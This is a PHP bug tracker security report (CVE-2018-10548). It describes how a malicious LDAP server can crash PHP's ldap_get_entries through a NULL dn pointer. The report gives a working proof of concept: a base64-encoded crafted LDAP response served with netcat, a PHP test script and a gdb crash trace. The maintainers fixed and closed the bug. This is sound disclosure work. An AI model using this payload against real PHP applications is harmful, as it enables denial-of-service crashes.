php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #76248 Malicious LDAP-Server Response causes Crash
Submitted: 2018-04-21 20:48 UTC Modified: 2018-04-29 20:48 UTC
From: phpldap at katzen dot cc Assigned: stas (profile)
Status: Closed Package: LDAP related
PHP Version: 7.2.4 OS:
Private report: No CVE-ID: 2018-10548
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: phpldap at katzen dot cc
New email:
PHP Version: OS:

 

 [2018-04-21 20:48 UTC] phpldap at katzen dot cc
Description:
------------
A bug in the LDAP module of PHP allows a malicious LDAP server or man-in-the-middle attacker to crash PHP. The issue has a low impact as it can’t be exploited beyond a crash. The only scenario where this problem can be exploited is when a web server writes coredumps into the web directory. However, such a misconfiguration isn’t that uncommon, thus I’m flagging this as sec-bug.  

While receiving the server response via ldap_get_entries the current dn is retrieved using ldap_get_dn(). A specially crafted server response can cause ldap_get_dn() to return a NULL pointer which causes a crash in ldap_get_entries() because add_assoc_string() can’t handle NULL pointers.

Affected Code:
ext/ldap/ldap.c

PHP_FUNCTION(ldap_get_entries)
[...]
dn = ldap_get_dn(ldap, ldap_result_entry);
add_assoc_string(&tmp1, "dn", dn);

PoC:
Run:
echo MAwCAQFhBwoBAAQABAAweQIBAmR0BJljbj1yb290LGRjPWV4YW1wbGUsZGM9Y29tMFcwIwQLb2JqZWN0Q2xhc3MxFAQSb3JnYW5pemF0aW9uYWxSb2xlMAwEAmNuMQYEBHJvb3QwIgQLZGVzY3JpcHRpb24xEwQRRGlyZWN0b3J5IE1hbmFnZXIwDAIBAmUHCgEABAAEADB5AgEDZHQEmWNuPXJvb3QsZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUwDAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjAMAgEDZQcKAQAEAAQA | base64 -d | nc -lvp 1234

Then execute:
./sapi/cli/php ldap.php


Suggested fix:
Assign an empty string to dn if ldap_get_dn() returns NULL. 



Test script:
---------------
<?php

$ds = ldap_connect("127.0.0.1", 1234);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
$b = ldap_bind($ds, "cn=root,dc=example,dc=com", "secret");

$s = ldap_search($ds, "dc=example,dc=com", "(cn=root)"); 
$tt = ldap_get_entries($ds, $s);


Expected result:
----------------
No crash

Actual result:
--------------
gdb-peda$ r ldap2.php 
Starting program: /home/bla/php-7.2.4/sapi/cli/php ldap2.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7ffff7fc323c --> 0xf7fc324000000606 
RBX: 0x7fffffffb260 --> 0x5555571b0e30 --> 0x800700000001 
RCX: 0x0 
RDX: 0x0 
RSI: 0x555556b69084 --> 0x5f7061646c006e64 ('dn')
RDI: 0x0 
RBP: 0x5555571b0b90 --> 0x2 
RSP: 0x7fffffffb1b8 --> 0x5555562daa9e (<add_assoc_string_ex+94>:	mov    rbx,rax)
RIP: 0x7ffff27c8f11 (<__strlen_avx2+17>:	vpcmpeqb ymm1,ymm0,YMMWORD PTR [rdi])
R8 : 0x5555571b08b7 ("cn=root,dc=example,dc=com0W0#\004\vobjectClass1\024\004\022organizationalRole0\f\004\002cn1\006\004\004root0\"\004\vdescription1\023\004\021Directory Manager")
R9 : 0x18 
R10: 0x1f4 
R11: 0x7ffff6e8de80 (<ldap_get_dn>:	push   rbp)
R12: 0x555556b69084 --> 0x5f7061646c006e64 ('dn')
R13: 0x0 
R14: 0x2 
R15: 0x7fffffffb260 --> 0x5555571b0e30 --> 0x800700000001
EFLAGS: 0x10283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff27c8f09 <__strlen_avx2+9>:	and    ecx,0x3f
   0x7ffff27c8f0c <__strlen_avx2+12>:	cmp    ecx,0x20
   0x7ffff27c8f0f <__strlen_avx2+15>:	ja     0x7ffff27c8f30 <__strlen_avx2+48>
=> 0x7ffff27c8f11 <__strlen_avx2+17>:	vpcmpeqb ymm1,ymm0,YMMWORD PTR [rdi]
   0x7ffff27c8f15 <__strlen_avx2+21>:	vpmovmskb eax,ymm1
   0x7ffff27c8f19 <__strlen_avx2+25>:	test   eax,eax
   0x7ffff27c8f1b <__strlen_avx2+27>:	jne    0x7ffff27c9000 <__strlen_avx2+256>
   0x7ffff27c8f21 <__strlen_avx2+33>:	add    rdi,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffb1b8 --> 0x5555562daa9e (<add_assoc_string_ex+94>:	mov    rbx,rax)
0008| 0x7fffffffb1c0 --> 0x5555571b08b0 --> 0x6399047464020102 
0016| 0x7fffffffb1c8 --> 0x5555571b08b5 --> 0x6f6f723d6e639904 
0024| 0x7fffffffb1d0 --> 0x5555571b0929 --> 0x0 
0032| 0x7fffffffb1d8 --> 0x0 
0040| 0x7fffffffb1e0 --> 0x33d64e4403b75f00 
0048| 0x7fffffffb1e8 --> 0x7fffffffb260 --> 0x5555571b0e30 --> 0x800700000001 
0056| 0x7fffffffb1f0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff27c8f11 in __strlen_avx2 () from /usr/lib/libc.so.6
gdb-peda$ bt
#0  0x00007ffff27c8f11 in __strlen_avx2 () from /usr/lib/libc.so.6
#1  0x00005555562daa9e in add_assoc_string_ex (arg=0x7fffffffb260, key=0x555556b69084 "dn", key_len=0x2, str=0x0) at Zend/zend_API.c:1414
#2  0x0000555555d1647b in zif_ldap_get_entries (execute_data=<optimized out>, return_value=0x7ffff1bc1170) at ext/ldap/ldap.c:1251
#3  0x0000555556508c59 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (execute_data=0x7ffff1bc1040) at Zend/zend_vm_execute.h:617
#4  0x00005555563b096f in execute_ex (ex=0x7ffff1bc1040) at Zend/zend_vm_execute.h:59723
#5  0x00005555563b0f10 in zend_execute (op_array=0x5555571b1e90, return_value=0x0) at Zend/zend_vm_execute.h:63760
#6  0x00005555562cd271 in zend_execute_scripts (type=<optimized out>, retval=0x0, file_count=0x3) at Zend/zend.c:1496
#7  0x00005555561835ce in php_execute_script (primary_file=0x7fffffffd7b0) at main/main.c:2590
#8  0x00005555565bda23 in do_cli (argc=<optimized out>, argv=<optimized out>) at sapi/cli/php_cli.c:1011
#9  0x00005555565bb966 in main (argc=0x2, argv=<optimized out>) at sapi/cli/php_cli.c:1404
#10 0x00007ffff2692f4a in __libc_start_main () from /usr/lib/libc.so.6
#11 0x000055555568676a in _start ()

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-04-23 04:35 UTC] stas@php.net
-Status: Open +Status: Assigned -Assigned To: +Assigned To: stas
 [2018-04-23 04:35 UTC] stas@php.net
While this does not seem to be directly exploitable, crash caused by external user data in common scenario seems to be bad enough to treat it as a security issue.
 [2018-04-23 05:03 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2018-04-23 05:03 UTC] stas@php.net
Fix in security repo as 49782c54994ecca2ef2a061063bd5a7079c43527 and in https://gist.github.com/smalyshev/7f69d73b24e149704b90f1fc7786915d, Please verify.
 [2018-04-23 10:47 UTC] phpldap at katzen dot cc
Looks good to me
 [2018-04-24 05:13 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2018-04-24 05:13 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2018-04-29 20:48 UTC] kaplan@php.net
-CVE-ID: needed +CVE-ID: 2018-10548
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC